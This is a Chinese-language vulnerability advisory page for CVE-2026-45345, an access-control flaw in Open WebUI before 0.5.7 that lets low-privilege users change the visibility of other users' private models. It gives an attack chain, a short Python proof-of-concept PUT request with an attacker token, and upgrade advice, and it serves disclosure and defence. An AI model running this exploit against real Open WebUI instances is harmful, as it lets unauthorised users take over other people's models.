IPBUF安全漏洞报告
English
CVE-2026-45345 CVSS 6.5 中危

CVE-2026-45345 Open WebUI权限绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45345
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

权限绕过Open WebUIIDORCVE-2026-45345

漏洞概述

Open WebUI是一个可离线运行的自托管AI平台。在其0.5.7版本之前的软件中,存在一个严重的访问控制缺陷。由于系统未正确校验模型所有权,攻击者能够修改其他用户标记为“私有”的模型配置。通过在编辑模型时篡改其访问权限设置,未经授权的攻击者可获取对该模型的控制权,从而破坏系统完整性。官方已在0.5.7版本中修复此问题。

技术细节

该漏洞源于Open WebUI在处理模型编辑请求时的访问控制逻辑缺陷,属于典型的越权访问漏洞(IDOR)。在0.5.7之前的版本中,应用程序的后端API在接收模型更新请求时,未充分验证请求发起者是否为目标模型的所有者。虽然模型前端显示为“私有”,但后端对修改模型元数据(特别是访问权限设置)的校验存在疏漏。攻击者只需拥有普通用户权限(PR:L),即可通过网络发送特制的数据包,直接修改其他私有模型的`access_level`或`visibility`字段。这种逻辑错误使得未经授权的用户能够接管或篡改本应受保护的模型资源,导致严重的完整性风险(I:H),破坏了多租户环境下的隔离性。

攻击链分析

STEP 1
侦察
攻击者确认目标运行的是Open WebUI,且版本低于0.5.7。
STEP 2
获取权限
攻击者注册一个普通用户账户或使用已有的低权限账户登录(PR:L)。
STEP 3
漏洞利用
攻击者枚举或猜测其他用户的私有模型ID,并发送特制的PUT/POST请求修改模型的访问权限参数(如visibility)。
STEP 4
达成影响
成功篡改模型配置,实现对私有模型的未授权修改或访问控制权接管(I:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL and API endpoint url = "http://target-open-webui-instance/api/models/{target_model_id}" # Attacker's session cookie after login cookies = { "access_token": "attacker_jwt_token" } # Payload to modify the model visibility # Exploiting the lack of ownership check to change permissions payload = { "name": "Target Model Name", "visibility": "public", # Changing from private to public "description": "Modified by attacker" } try: response = requests.put(url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Model permission modified.") print(response.json()) else: print("[-] Exploit failed.") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

Open WebUI < 0.5.7

防御指南

临时缓解措施
建议管理员立即检查系统版本,若低于0.5.7,应尽快升级至修复版本。在无法立即升级的情况下,应限制非受信用户的注册,或通过网络策略限制对平台管理接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表